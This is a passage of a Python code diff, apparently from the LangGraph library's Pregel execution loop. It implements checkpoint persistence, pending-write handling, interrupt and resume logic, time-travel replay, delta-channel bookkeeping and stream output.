+                        CONFIG_KEY_CHECKPOINT_NS, ""
+                    ),
+                    CONFIG_KEY_CHECKPOINT_ID: self.checkpoint["id"],
+                },
+            )
+            if self.checkpointer_put_writes_accepts_task_path:
+                if hasattr(self, "tasks"):
+                    task = self.tasks.get(task_id)
+                else:
+                    task = None
+                fut = self.submit(
+                    self.checkpointer_put_writes,
+                    config,
+                    writes_to_save,
+                    task_id,
+                    task_path_str(task.path) if task else "",
+                )
+            else:
+                fut = self.submit(
+                    self.checkpointer_put_writes,
+                    config,
+                    writes_to_save,
+                    task_id,
+                )
+            if self._delta_write_futs is not None and any(
+                isinstance(self.specs.get(c), DeltaChannel) for c, _ in writes_to_save
+            ):
+                self._delta_write_futs.append(fut)
+            # ERROR_SOURCE_NODE is only appended by commit() when the task
+            # has an error handler (_should_route_to_error_handler), so this
+            # check naturally limits future collection to those tasks.
+            if self._error_handler_write_futs is not None and any(
+                c == ERROR_SOURCE_NODE for c, _ in writes
+            ):
+                self._error_handler_write_futs.append(fut)
+        # output writes
+        if hasattr(self, "tasks"):
+            self.output_writes(task_id, writes)
+
+    def _put_pending_writes(self) -> None:
+        if self.checkpointer_put_writes is None:
+            return
+        if not self.checkpoint_pending_writes:
+            return
+        # patch config
+        config = patch_configurable(
+            self.checkpoint_config,
+            {
+                CONFIG_KEY_CHECKPOINT_NS: self.config[CONF].get(
+                    CONFIG_KEY_CHECKPOINT_NS, ""
+                ),
+                CONFIG_KEY_CHECKPOINT_ID: self.checkpoint["id"],
+            },
+        )
+        # group by task id
+        by_task = defaultdict(list)
+        for task_id, channel, value in self.checkpoint_pending_writes:
+            by_task[task_id].append((channel, value))
+        # submit writes to checkpointer
+        for task_id, writes in by_task.items():
+            if self.checkpointer_put_writes_accepts_task_path and hasattr(
+                self, "tasks"
+            ):
+                task = self.tasks.get(task_id)
+                self.submit(
+                    self.checkpointer_put_writes,
+                    config,
+                    writes,
+                    task_id,
+                    task_path_str(task.path) if task else "",
+                )
+            else:
+                self.submit(
+                    self.checkpointer_put_writes,
+                    config,
+                    writes,
+                    task_id,
+                )
+
+    def accept_push(
+        self, task: PregelExecutableTask, write_idx: int, call: Call | None = None
+    ) -> PregelExecutableTask | None:
+        """Accept a PUSH from a task, potentially returning a new task to start."""
+        checkpoint_id_bytes = binascii.unhexlify(self.checkpoint["id"].replace("-", ""))
+        null_version = checkpoint_null_version(self.checkpoint)
+        if pushed := cast(
+            PregelExecutableTask | None,
+            prepare_single_task(
+                (PUSH, task.path, write_idx, task.id, call),
+                None,
+                checkpoint=self.checkpoint,
+                checkpoint_id_bytes=checkpoint_id_bytes,
+                checkpoint_null_version=null_version,
+                pending_writes=self.checkpoint_pending_writes,
+                processes=self.nodes,
+                channels=self.channels,
+                managed=self.managed,
+                config=task.config,
+                step=self.step,
+                stop=self.stop,
+                for_execution=True,
+                store=self.store,
+                checkpointer=self.checkpointer,
+                manager=self.manager,
+                retry_policy=self.retry_policy,
+                cache_policy=self.cache_policy,
+            ),
+        ):
+            # produce debug output
+            self._emit("tasks", map_debug_tasks, [pushed])
+            # save the new task
+            self.tasks[pushed.id] = pushed
+            # match any pending writes to the new task
+            if not self.is_replaying:
+                self._reapply_writes_to_succeeded_nodes({pushed.id: pushed})
+            # return the new task, to be started if not run before
+            return pushed
+
+    def schedule_error_handler(
+        self, failed_task: PregelExecutableTask, error: BaseException
+    ) -> PregelExecutableTask | None:
+        raise NotImplementedError
+
+    async def aschedule_error_handler(
+        self, failed_task: PregelExecutableTask, error: BaseException
+    ) -> PregelExecutableTask | None:
+        raise NotImplementedError
+
+    def tick(self) -> bool:
+        """Execute a single iteration of the Pregel loop.
+
+        Returns:
+            True if more iterations are needed.
+        """
+
+        # check if iteration limit is reached
+        if self.step > self.stop:
+            self.status = "out_of_steps"
+            return False
+
+        # prepare next tasks
+        self.tasks = prepare_next_tasks(
+            self.checkpoint,
+            self.checkpoint_pending_writes,
+            self.nodes,
+            self.channels,
+            self.managed,
+            self.config,
+            self.step,
+            self.stop,
+            for_execution=True,
+            manager=self.manager,
+            store=self.store,
+            checkpointer=self.checkpointer,
+            trigger_to_nodes=self.trigger_to_nodes,
+            updated_channels=self.updated_channels,
+            retry_policy=self.retry_policy,
+            cache_policy=self.cache_policy,
+        )
+
+        # produce debug output
+        if self._checkpointer_put_after_previous is not None:
+            self._emit(
+                "checkpoints",
+                map_debug_checkpoint,
+                {
+                    **self.checkpoint_config,
+                    CONF: {
+                        **self.checkpoint_config[CONF],
+                        CONFIG_KEY_CHECKPOINT_ID: self.checkpoint["id"],
+                    },
+                },
+                self.channels,
+                self.stream_keys,
+                self.checkpoint_metadata,
+                self.tasks.values(),
+                self.checkpoint_pending_writes,
+                self.prev_checkpoint_config,
+                self.output_keys,
+            )
+
+        # if no more tasks, we're done
+        if not self.tasks:
+            self.status = "done"
+            return False
+
+        if self.control is not None and self.control.drain_requested:
+            self.status = "draining"
+            return False
+
+        # if there are pending writes from a previous loop, apply them
+        if not self.is_replaying and self.checkpoint_pending_writes:
+            self._reapply_writes_to_succeeded_nodes(self.tasks)
+            self._resume_error_handlers_if_applicable()
+
+        # before execution, check if we should interrupt
+        if self.interrupt_before and should_interrupt(
+            self.checkpoint, self.interrupt_before, self.tasks.values()
+        ):
+            self.status = "interrupt_before"
+            raise GraphInterrupt()
+
+        # produce debug output
+        self._emit("tasks", map_debug_tasks, self.tasks.values())
+
+        # print output for any tasks we applied previous writes to
+        for task in self.tasks.values():
+            if task.writes:
+                self.output_writes(task.id, task.writes, cached=True)
+
+        return True
+
+    def after_tick(self) -> None:
+        # finish superstep
+        writes = [w for t in self.tasks.values() for w in t.writes]
+        self._delta_channels_with_overwrite.update(
+            ch
+            for ch, v in writes
+            if isinstance(self.specs.get(ch), DeltaChannel) and _get_overwrite(v)[0]
+        )
+        # all tasks have finished
+        self.updated_channels = apply_writes(
+            self.checkpoint,
+            self.channels,
+            self.tasks.values(),
+            self.checkpointer_get_next_version,
+            self.trigger_to_nodes,
+        )
+        # produce values output
+        if not self.updated_channels.isdisjoint(
+            (self.output_keys,)
+            if isinstance(self.output_keys, str)
+            else self.output_keys
+        ):
+            self._emit(
+                "values", map_output_values, self.output_keys, writes, self.channels
+            )
+        # capture delta-channel writes for exit-mode accumulator before clearing
+        if self._exit_delta_writes is not None:
+            for tid, ch, v in self.checkpoint_pending_writes:
+                if isinstance(self.specs.get(ch), DeltaChannel):
+                    self._exit_delta_writes.append((self.step, tid, ch, v))
+        # clear pending writes
+        self.checkpoint_pending_writes.clear()
+        # only replay (re-execute) done tasks on the first tick
+        self.is_replaying = False
+        # save checkpoint
+        self._put_checkpoint({"source": "loop"})
+        # after execution, check if we should interrupt
+        if self.interrupt_after and should_interrupt(
+            self.checkpoint, self.interrupt_after, self.tasks.values()
+        ):
+            self.status = "interrupt_after"
+            raise GraphInterrupt()
+        # unset resuming flag
+        self.config[CONF].pop(CONFIG_KEY_RESUMING, None)
+
+    def match_cached_writes(self) -> Sequence[PregelExecutableTask]:
+        raise NotImplementedError
+
+    async def amatch_cached_writes(self) -> Sequence[PregelExecutableTask]:
+        raise NotImplementedError
+
+    # private
+
+    def _reapply_writes_to_succeeded_nodes(
+        self, tasks: Mapping[str, PregelExecutableTask]
+    ) -> None:
+        """Restore successful channel writes from checkpoint to in-memory tasks.
+
+        Skips control signals (ERROR, ERROR_SOURCE_NODE, INTERRUPT, RESUME)
+        so that failed/interrupted tasks remain with empty writes and will be
+        re-executed (or routed to error handlers) by the runner.
+        """
+        for tid, k, v in self.checkpoint_pending_writes:
+            if k in (ERROR, ERROR_SOURCE_NODE, INTERRUPT, RESUME):
+                continue
+            if task := tasks.get(tid):
+                task.writes.append((k, v))
+
+    def _resume_error_handlers_if_applicable(self) -> None:
+        """On resume, schedule error handlers for tasks that failed in a prior run.
+
+        Called right after ``_reapply_writes_to_succeeded_nodes`` during ``tick()``.
+        At that point, ``_reapply_writes_to_succeeded_nodes`` has already skipped
+        ERROR / ERROR_SOURCE_NODE writes, so a previously-failed task still has
+        empty ``writes``.  Without intervention the runner (which executes only
+        tasks where ``not t.writes``) would re-run the original node.
+
+        This method prevents that re-execution for nodes that have an error
+        handler:
+
+        1. Scan ``checkpoint_pending_writes`` for ERROR_SOURCE_NODE markers
+           persisted by a prior ``commit()``.  Each marker means "this task
+           already failed and was routed to an error handler".
+        2. For each such task, write ``(ERROR, error)`` into ``task.writes``
+           so the task is no longer empty — the runner will skip it.
+        3. Prepare a fresh error-handler task and add it to ``self.tasks``.
+           Because the handler task starts with empty ``writes``, the runner
+           will pick it up and execute it.
+        """
+        # Phase 1: collect task-ids that have ERROR_SOURCE_NODE + ERROR pairs.
+        failed: dict[str, BaseException] = {}
+        for tid, chan, val in self.checkpoint_pending_writes:
+            if chan == ERROR_SOURCE_NODE:
+                error = next(
+                    (
+                        v
+                        for t, c, v in self.checkpoint_pending_writes
+                        if t == tid and c == ERROR
+                    ),
+                    None,
+                )
+                if error is not None:
+                    failed[tid] = error
+        # Phase 2: mark originals as done, schedule handler tasks.
+        for task_id, error in failed.items():
+            task = self.tasks.get(task_id)
+            if task is None:
+                continue
+            handler_node = self.nodes[task.name].error_handler_node
+            if not handler_node:
+                continue
+            # Non-empty writes → runner's `not t.writes` filter skips this task.
+            task.writes.append((ERROR, error))
+            # The handler task starts with empty writes → runner will execute it.
+            handler_task = prepare_node_error_handler_task(
+                task,
+                handler_node_name=handler_node,
+                failed_error=error,
+                checkpoint=self.checkpoint,
+                pending_writes=self.checkpoint_pending_writes,
+                processes=self.nodes,
+                channels=self.channels,
+                managed=self.managed,
+                config=task.config,
+                step=self.step,
+                stop=self.stop,
+                store=self.store,
+                checkpointer=self.checkpointer,
+                manager=self.manager,
+                retry_policy=self.retry_policy,
+                cache_policy=self.cache_policy,
+            )
+            if handler_task is not None:
+                self.tasks[handler_task.id] = handler_task
+
+    def _pending_interrupts(self) -> set[str]:
+        """Return the set of interrupt ids that are pending without corresponding resume values."""
+        # mapping of task ids to interrupt ids
+        pending_interrupts: dict[str, str] = {}
+
+        # set of resume task ids
+        pending_resumes: set[str] = set()
+
+        for task_id, write_type, value in self.checkpoint_pending_writes:
+            if write_type == INTERRUPT:
+                # interrupts is always a list, but there should only be one element
+                pending_interrupts[task_id] = value[0].id
+            elif write_type == RESUME:
+                pending_resumes.add(task_id)
+
+        resumed_interrupt_ids = {
+            pending_interrupts[task_id]
+            for task_id in pending_resumes
+            if task_id in pending_interrupts
+        }
+
+        # Keep only interrupts whose interrupt_id is not resumed
+        hanging_interrupts: set[str] = {
+            interrupt_id
+            for interrupt_id in pending_interrupts.values()
+            if interrupt_id not in resumed_interrupt_ids
+        }
+
+        return hanging_interrupts
+
+    def _first(
+        self, *, input_keys: str | Sequence[str], updated_channels: set[str] | None
+    ) -> set[str] | None:
+        # Resuming from a previous checkpoint requires two things:
+        # 1. A prior checkpoint exists (channel_versions is non-empty)
+        # 2. The input signals continuation (not a fresh run with new input)
+        # For subgraphs, the parent explicitly sets CONFIG_KEY_RESUMING.
+        # For the outer graph, we infer from the input:
+        #   - None input: resume after interrupt (invoke(None, config))
+        #   - Command input: any Command operates on existing state
+        #   - Same run_id: re-entry into an ongoing run (e.g. stream reconnect)
+        configurable = self.config.get(CONF, {})
+        input_is_command = isinstance(self.input, Command)
+        is_resuming = bool(self.checkpoint["channel_versions"]) and bool(
+            configurable.get(
+                CONFIG_KEY_RESUMING,
+                self.input is None
+                or input_is_command
+                or (
+                    not self.is_nested
+                    and self.config.get("metadata", {}).get("run_id")
+                    == self.checkpoint_metadata.get("run_id", MISSING)
+                ),
+            )
+        )
+
+        # When replaying from a specific checkpoint, drop cached RESUME
+        # writes so that interrupt() calls re-fire instead of returning
+        # stale values. But if we're actively resuming, keep them —
+        # multi-interrupt scenarios need previously resolved values preserved.
+        is_time_traveling = self.is_replaying and (
+            # Time-travel to a subgraph checkpoint: the parent sets
+            # RESUMING=True (it can't distinguish time-travel from resume),
+            # so we check if this subgraph's own ns is in checkpoint_map.
+            # Normally the map only has ancestor entries (_algo.py); the
+            # subgraph's own entry only appears via get_state(subgraphs=True).
+            (
+                self.is_nested
+                and configurable.get(CONFIG_KEY_CHECKPOINT_NS, "")
+                in configurable.get(CONFIG_KEY_CHECKPOINT_MAP, {})
+            )
+            or not (
+                # Outer graph: resume arrives as Command(resume=...)
+                (input_is_command and cast(Command, self.input).resume is not None)
+                # Subgraphs: resume arrives via config flag from parent
+                # (subgraph input is a Send arg, not a Command)
+                or configurable.get(CONFIG_KEY_RESUMING, False)
+            )
+        )
+        if is_time_traveling:
+            self.checkpoint_pending_writes = [
+                w for w in self.checkpoint_pending_writes if w[1] != RESUME
+            ]
+
+        # map command to writes
+        if input_is_command:
+            if (resume := cast(Command, self.input).resume) is not None:
+                if not self.checkpointer:
+                    raise RuntimeError(
+                        "Cannot use Command(resume=...) without checkpointer"
+                    )
+
+                if resume_is_map := (
+                    isinstance(resume, dict)
+                    and all(is_xxh3_128_hexdigest(k) for k in resume)
+                ):
+                    self.config[CONF][CONFIG_KEY_RESUME_MAP] = resume
+                else:
+                    if len(self._pending_interrupts()) > 1:
+                        raise RuntimeError(
+                            "When there are multiple pending interrupts, you must specify the interrupt id when resuming. "
+                            "Docs: https://docs.langchain.com/oss/python/langgraph/add-human-in-the-loop#resume-multiple-interrupts-with-one-invocation."
+                        )
+
+            writes: defaultdict[str, list[tuple[str, Any]]] = defaultdict(list)
+            # group writes by task ID
+            for tid, c, v in map_command(cmd=cast(Command, self.input)):
+                if not (c == RESUME and resume_is_map):
+                    writes[tid].append((c, v))
+            if not writes and not resume_is_map:
+                raise EmptyInputError("Received empty Command input")
+            # save writes
+            for tid, ws in writes.items():
+                self.put_writes(tid, ws)
+        # apply NULL writes
+        if null_writes := [
+            w[1:] for w in self.checkpoint_pending_writes if w[0] == NULL_TASK_ID
+        ]:
+            null_updated_channels = apply_writes(
+                self.checkpoint,
+                self.channels,
+                [PregelTaskWrites((), INPUT, null_writes, [])],
+                self.checkpointer_get_next_version,
+                self.trigger_to_nodes,
+            )
+            if updated_channels is not None:
+                updated_channels.update(null_updated_channels)
+        # proceed past previous checkpoint
+        if is_resuming:
+            self.checkpoint["versions_seen"].setdefault(INTERRUPT, {})
+            for k in self.channels:
+                if k in self.checkpoint["channel_versions"]:
+                    version = self.checkpoint["channel_versions"][k]
+                    self.checkpoint["versions_seen"][INTERRUPT][k] = version
+            # When time-traveling (replaying from a specific checkpoint),
+            # save a fork checkpoint so the replayed execution creates a
+            # new branch. Without this, if the execution hits an interrupt
+            # before after_tick() runs, no new checkpoint is created —
+            # the parent's latest checkpoint remains the old one and
+            # subsequent resumes load the wrong state.
+            # Skip for update_state forks (source=update/fork) since they
+            # already have their own fork checkpoint.
+            if is_time_traveling and self.checkpoint_metadata.get("source") not in (
+                "update",
+                "fork",
+            ):
+                # Clear old INTERRUPT writes from the loaded checkpoint.
+                # The fork will have a new checkpoint_id which changes
+                # task IDs — stale interrupt writes would accumulate and
+                # confuse the multiple-interrupt check in future resumes.
+                self.checkpoint_pending_writes = [
+                    w for w in self.checkpoint_pending_writes if w[1] != INTERRUPT
+                ]
+                self._put_checkpoint({"source": "fork"})
+            # produce values output
+            self._emit(
+                "values", map_output_values, self.output_keys, True, self.channels
+            )
+        # map inputs to channel updates
+        elif input_writes := deque(map_input(input_keys, self.input)):
+            # discard any unfinished tasks from previous checkpoint
+            discard_tasks = prepare_next_tasks(
+                self.checkpoint,
+                self.checkpoint_pending_writes,
+                self.nodes,
+                self.channels,
+                self.managed,
+                self.config,
+                self.step,
+                self.stop,
+                for_execution=True,
+                store=None,
+                checkpointer=None,
+                manager=None,
+                updated_channels=updated_channels,
+            )
+            self._delta_channels_with_overwrite.update(
+                c
+                for c, v in input_writes
+                if isinstance(self.specs.get(c), DeltaChannel) and _get_overwrite(v)[0]
+            )
+            # apply input writes
+            updated_channels = apply_writes(
+                self.checkpoint,
+                self.channels,
+                [
+                    *discard_tasks.values(),
+                    PregelTaskWrites((), INPUT, input_writes, []),
+                ],
+                self.checkpointer_get_next_version,
+                self.trigger_to_nodes,
+            )
+            # Input writes go through `apply_writes` directly (above) — they
+            # never enter `checkpoint_pending_writes`, so the after_tick
+            # capture site does not see them. In exit mode, capture them
+            # here so `_exit_delta_writes` includes the input's delta writes
+            # alongside per-superstep writes; otherwise the input would be
+            # lost on read (it's not in final_checkpoint.channel_values for
+            # sub-freq channels, and walks ignore target.pending_writes).
+            if self._exit_delta_writes is not None:
+                for c, v in input_writes:
+                    if isinstance(self.specs.get(c), DeltaChannel):
+                        self._exit_delta_writes.append((self.step, NULL_TASK_ID, c, v))
+            # Persist delta-channel input writes so sub-freq inputs are
+            # recoverable via ancestor walk (mirrors the Command input path).
+            if self.durability != "exit":
+                delta_input = [
+                    (c, v)
+                    for c, v in input_writes
+                    if isinstance(self.specs.get(c), DeltaChannel)
+                ]
+                if delta_input:
+                    self.put_writes(NULL_TASK_ID, delta_input)
+            # save input checkpoint
+            self.updated_channels = updated_channels
+            self._put_checkpoint({"source": "input"})
+        elif CONFIG_KEY_RESUMING not in configurable:
+            raise EmptyInputError(f"Received no input for {input_keys}")
+        # Propagate resuming and replaying flags to subgraphs.
+        if not self.is_nested:
+            # Pass the resolved before-bound checkpoint ID so subgraphs can
+            # find their corresponding checkpoint without re-fetching the
+            # parent. For forks (source=update/fork), use the fork's parent
+            # checkpoint ID since the fork was created after the subgraph's
+            # checkpoints from the original execution.
+            #
+            # Only gate on is_time_traveling (not is_replaying). When the
+            # client resumes with an explicit checkpoint_id that happens to
+            # point at the current head (e.g. LangGraph Studio sending
+            # `checkpoint: {checkpoint_id}` alongside Command(resume=...)),
+            # is_replaying is True but is_time_traveling is False. In that
+            # case subgraphs should load their latest checkpoint normally,
+            # not go through ReplayState's before-bound lookup which would
+            # miss subgraph checkpoints created during processing of the
+            # current parent step.
+            replay_state: ReplayState | None = None
+            if is_time_traveling:
+                replay_checkpoint_id = self.checkpoint["id"]
+                if (
+                    self.checkpoint_metadata.get("source")
+                    in (
+                        "update",
+                        "fork",
+                    )
+                    and self.prev_checkpoint_config
+                ):
+                    replay_checkpoint_id = self.prev_checkpoint_config[CONF].get(
+                        CONFIG_KEY_CHECKPOINT_ID, replay_checkpoint_id
+                    )
+                replay_state = ReplayState(replay_checkpoint_id)
+            self.config = patch_configurable(
+                self.config,
+                {
+                    CONFIG_KEY_RESUMING: is_resuming,
+                    CONFIG_KEY_REPLAY_STATE: replay_state,
+                },
+            )
+        # set flag
+        self.status = "pending"
+        if is_resuming:
+            self._push_graph_lifecycle_event("resume")
+        return updated_channels
+
+    def _put_checkpoint(self, metadata: CheckpointMetadata) -> None:
+        # `is` (object identity) — not `==`. Three of four call sites pass a
+        # fresh dict ({"source":"input"|"loop"|"fork"}); only
+        # `_suppress_interrupt`(will rename to _on_loop_exit soon)
+        # at exit reuses the existing `self.checkpoint_metadata` instance. So
+        # `metadata is self.checkpoint_metadata` is True only on the exit call,
+        # which is what we use to gate exit-only behaviour (skip count-bump,
+        # don't replace metadata). Could be replaced by an explicit
+        # `exiting: bool = False` parameter; left as-is to match the existing
+        # idiom in this file.
+        # TODO: replace with an explicit `exiting: bool = False` parameter.
+        exiting = metadata is self.checkpoint_metadata
+        if exiting and self.checkpoint["id"] == self.checkpoint_id_saved:
+            # checkpoint already saved
+            return
+        # Per-delta-channel counter bookkeeping.
+        #
+        # Each delta channel tracks a (updates, supersteps) tuple:
+        # - `updates` increments only when the channel is written this step.
+        # - `supersteps` increments every superstep regardless.
+        #
+        # `_put_checkpoint` is called once per superstep with a fresh
+        # metadata dict (source="input"|"loop"|"fork") — those are the
+        # intermediate calls that bump counters. In exit mode,
+        # `_suppress_interrupt`(will rename to _on_loop_exit soon)
+        # additionally calls `_put_checkpoint(self.checkpoint_metadata)` AT
+        # EXIT to commit the final checkpoint — this runs *after* the last
+        # intermediate call already counted the last superstep. So the
+        # exit call must NOT bump again or it would double-count the last
+        # superstep.
+        if not exiting:
+            prev_counters = dict(
+                self.checkpoint_metadata.get("counters_since_delta_snapshot") or {}
+            )
+            new_counters: dict[str, tuple[int, int]] = {}
+            updated = self.updated_channels or set()
+            for ch_name, ch in self.channels.items():
+                if not isinstance(ch, DeltaChannel):
+                    continue
+                u, s = prev_counters.get(ch_name, (0, 0))
+                s += 1
+                if ch_name in updated:
+                    u += 1
+                new_counters[ch_name] = (u, s)
+            metadata["step"] = self.step
+            metadata["parents"] = self.config[CONF].get(CONFIG_KEY_CHECKPOINT_MAP, {})
+            self.checkpoint_metadata = metadata
+        else:
+            new_counters = dict(
+                self.checkpoint_metadata.get("counters_since_delta_snapshot") or {}
+            )
+        # do checkpoint?
+        do_checkpoint = self._checkpointer_put_after_previous is not None and (
+            exiting or self.durability != "exit"
+        )
+        # create new checkpoint
+        channels_to_snapshot = (
+            delta_channels_to_snapshot(self.channels, new_counters)
+            | self._delta_channels_with_overwrite
+            if do_checkpoint
+            else set()
+        )
+        self.checkpoint = create_checkpoint(
+            self.checkpoint,
+            self.channels if do_checkpoint else None,
+            self.step,
+            id=self.checkpoint["id"] if exiting else None,
+            updated_channels=self.updated_channels,
+            get_next_version=self.checkpointer_get_next_version
+            if do_checkpoint
+            else None,
+            channels_to_snapshot=channels_to_snapshot,
+        )
+        for k in channels_to_snapshot:
+            new_counters[k] = (0, 0)
+        if do_checkpoint:
+            self._delta_channels_with_overwrite.difference_update(channels_to_snapshot)
+        non_zero = {k: v for k, v in new_counters.items() if v != (0, 0)}
+        if non_zero:
+            self.checkpoint_metadata["counters_since_delta_snapshot"] = non_zero
+        elif "counters_since_delta_snapshot" in self.checkpoint_metadata:
+            del self.checkpoint_metadata["counters_since_delta_snapshot"]
+        # sanitize TASK channel in the checkpoint before saving (durability=="exit")
+        if TASKS in self.checkpoint["channel_values"] and any(
+            isinstance(channel, UntrackedValue) for channel in self.channels.values()
+        ):
+            sanitized_tasks = [
+                sanitize_untracked_values_in_send(value, self.channels)
+                if isinstance(value, Send)
+                else value
+                for value in self.checkpoint["channel_values"][TASKS]
+            ]
+            self.checkpoint["channel_values"][TASKS] = sanitized_tasks
+        # bail if no checkpointer
+
+        if do_checkpoint and self._checkpointer_put_after_previous is not None:
+            self.prev_checkpoint_config = (
+                self.checkpoint_config
+                if CONFIG_KEY_CHECKPOINT_ID in self.checkpoint_config[CONF]
+                and self.checkpoint_config[CONF][CONFIG_KEY_CHECKPOINT_ID]
+                else None
+            )
+            self.checkpoint_config = {
+                **self.checkpoint_config,
+                CONF: {
+                    **self.checkpoint_config[CONF],
+                    CONFIG_KEY_CHECKPOINT_NS: self.config[CONF].get(
+                        CONFIG_KEY_CHECKPOINT_NS, ""
+                    ),
+                },
+            }
+
+            channel_versions = self.checkpoint["channel_versions"].copy()
+            new_versions = get_new_channel_versions(
+                self.checkpoint_previous_versions, channel_versions
+            )
+            self.checkpoint_previous_versions = channel_versions
+
+            # save it, without blocking
+            # if there's a previous checkpoint save in progress, wait for it
+            # ensuring checkpointers receive checkpoints in order
+            self._put_checkpoint_fut = self.submit(
+                self._checkpointer_put_after_previous,
+                getattr(self, "_put_checkpoint_fut", None),
+                self.checkpoint_config,
+                copy_checkpoint(self.checkpoint),
+                self.checkpoint_metadata,
+                new_versions,
+            )
+            self.checkpoint_config = {
+                **self.checkpoint_config,
+                CONF: {
+                    **self.checkpoint_config[CONF],
+                    CONFIG_KEY_CHECKPOINT_ID: self.checkpoint["id"],
+                },
+            }
+        if not exiting:
+            # increment step
+            self.step += 1
+
+    def _put_exit_delta_writes(self) -> None:
+        """Stage stub + accumulated delta writes so final_checkpoint's put
+        waits on them (visibility invariant: both must be durable before
+        final_checkpoint becomes visible to readers).
+
+        Stub is created lazily — only when no persisted parent exists AND at
+        least one delta channel has writes that won't be snapshotted.
+        """
+        if (
+            not self._exit_delta_writes
+            or self.checkpointer is None
+            or self._checkpointer_put_after_previous is None
+            or self.checkpointer_put_writes is None
+        ):
+            return
+
+        counters = dict(
+            self.checkpoint_metadata.get("counters_since_delta_snapshot") or {}
+        )
+        channels_to_snapshot = (
+            delta_channels_to_snapshot(self.channels, counters)
+            | self._delta_channels_with_overwrite
+        )
+
+        pending = [
+            (step, tid, ch, v)
+            for (step, tid, ch, v) in self._exit_delta_writes
+            if ch not in channels_to_snapshot
+        ]
+        if not pending:
+            return
+
+        if self._has_persisted_parent:
+            # _initial_checkpoint_config's checkpoint_id is the saved parent's
+            # id (saver returned a real tuple at __enter__).
+            anchor_config = self._initial_checkpoint_config
+        else:
+            stub_cp = empty_checkpoint()
+            stub_cp["id"] = self.checkpoint_id_saved
+            stub_cp["ts"] = datetime.now(timezone.utc).isoformat()
+            # Stub has no parent (checkpoint_id=None in config).
+            stub_put_config = patch_configurable(
+                self._initial_checkpoint_config,
+                {CONFIG_KEY_CHECKPOINT_ID: None},
+            )
+            # Anchor config for put_writes: checkpoint_id = stub's id.
+            anchor_config = patch_configurable(
+                self._initial_checkpoint_config,
+                {CONFIG_KEY_CHECKPOINT_ID: stub_cp["id"]},
+            )
+            self._put_checkpoint_fut = self.submit(
+                self._checkpointer_put_after_previous,
+                getattr(self, "_put_checkpoint_fut", None),
+                stub_put_config,
+                stub_cp,
+                {"step": -2},
+                {},
+            )
+            # Set checkpoint_config so final_checkpoint's _put_checkpoint
+            # sees the stub as its parent.
+            self.checkpoint_config = anchor_config
+
+        # Step-prefixed synthetic task_id preserves chronological superstep
+        # order under the saver's ORDER BY task_id, idx sorting.
+        grouped: dict[tuple[int, str], list[tuple[str, Any]]] = {}
+        for step, tid, ch, v in pending:
+            grouped.setdefault((step, tid), []).append((ch, v))
+        anchor_write_config = patch_configurable(
+            anchor_config,
+            {
+                CONFIG_KEY_CHECKPOINT_NS: self.config[CONF].get(
+                    CONFIG_KEY_CHECKPOINT_NS, ""
+                ),
+                CONFIG_KEY_CHECKPOINT_ID: anchor_config[CONF][CONFIG_KEY_CHECKPOINT_ID],
+            },
+        )
+        for (step, tid), entries in grouped.items():
+            synth_tid = exit_delta_task_id(step, tid)
+            if self.checkpointer_put_writes_accepts_task_path:
+                fut = self.submit(
+                    self.checkpointer_put_writes,
+                    anchor_write_config,
+                    entries,
+                    synth_tid,
+                    "",
+                )
+            else:
+                fut = self.submit(
+                    self.checkpointer_put_writes,
+                    anchor_write_config,
+                    entries,
+                    synth_tid,
+                )
+            if self._delta_write_futs is not None:
+                self._delta_write_futs.append(fut)
+
+    def _suppress_interrupt(
+        self,
+        exc_type: type[BaseException] | None,
+        exc_value: BaseException | None,
+        traceback: TracebackType | None,
+    ) -> bool | None:
+        # persist current checkpoint and writes
+        if self.durability == "exit" and (
+            # if it's a top graph
+            not self.is_nested
+            # or a nested graph with error or interrupt
+            or exc_value is not None
+            # or a nested graph with checkpointer=True
+            or all(NS_END not in part for part in self.checkpoint_ns)
+        ):
+            self._put_exit_delta_writes()
+            self._put_checkpoint(self.checkpoint_metadata)
+            self._put_pending_writes()
+        # suppress interrupt
+        if isinstance(exc_value, GraphInterrupt) and not self.is_nested:
+            interrupt = exc_value
+            interrupts = tuple(interrupt.args[0]) if interrupt.args else ()
+            self._push_graph_lifecycle_event("interrupt", interrupts=interrupts)
+            # emit one last "values" event, with pending writes applied
+            if (
+                hasattr(self, "tasks")
+                and self.checkpoint_pending_writes
+                and any(task.writes for task in self.tasks.values())
+            ):
+                updated_channels = apply_writes(
+                    self.checkpoint,
+                    self.channels,
+                    self.tasks.values(),
+                    self.checkpointer_get_next_version,
+                    self.trigger_to_nodes,
+                )
+                if not updated_channels.isdisjoint(
+                    (self.output_keys,)
+                    if isinstance(self.output_keys, str)
+                    else self.output_keys
+                ):
+                    self._emit(
+                        "values",
+                        map_output_values,
+                        self.output_keys,
+                        [w for t in self.tasks.values() for w in t.writes],
+                        self.channels,
+                    )
+            # emit INTERRUPT if exception is empty (otherwise emitted by put_writes)
+            if not interrupt.args or not interrupt.args[0]:
+                interrupt_payload = interrupt.args[0] if interrupt.args else ()
+                self._emit(
+                    "updates",
+                    lambda: iter([{INTERRUPT: interrupt_payload}]),
+                )
+            # save final output
+            self.output = read_channels(self.channels, self.output_keys)
+            # suppress interrupt
+            return True
+        elif exc_type is None:
+            # save final output
+            self.output = read_channels(self.channels, self.output_keys)
+
+    def _emit(
+        self,
+        mode: StreamMode,
+        values: Callable[P, Iterator[Any]],
+        *args: P.args,
+        **kwargs: P.kwargs,
+    ) -> None:
+        if self.stream is None:
+            return
+        debug_remap = mode in ("checkpoints", "tasks") and "debug" in self.stream.modes
+        if mode not in self.stream.modes and not debug_remap:
+            return
+        for v in values(*args, **kwargs):
+            if mode in self.stream.modes:
+                self.stream((self.checkpoint_ns, mode, v))
+            # "debug" mode is "checkpoints" or "tasks" with a wrapper dict
+            if debug_remap:
+                self.stream(
+                    (
+                        self.checkpoint_ns,
+                        "debug",
+                        {
+                            "step": self.step - 1
+                            if mode == "checkpoints"
+                            else self.step,
+                            "timestamp": datetime.now(timezone.utc).isoformat(),
+                            "type": "checkpoint"
+                            if mode == "checkpoints"
+                            else "task_result"
+                            if "result" in v
+                            else "task",
+                            "payload": v,
+                        },
+                    )
+                )
+
+    def output_writes(
+        self, task_id: str, writes: WritesT, *, cached: bool = False
+    ) -> None:
+        if task := self.tasks.get(task_id):
+            if task.config is not None and TAG_HIDDEN in task.config.get(
+                "tags", EMPTY_SEQ
+            ):
+                return
+            if writes[0][0] == INTERRUPT:
+                # in loop.py we append a bool to the PUSH task paths to indicate
+                # whether or not a call was present. If so,
+                # we don't emit the interrupt as it'll be emitted by the parent
+                if task.path[0] == PUSH and task.path[-1] is True:
+                    return
+                interrupts = [
+                    {
+                        INTERRUPT: tuple(
+                            v
+                            for w in writes
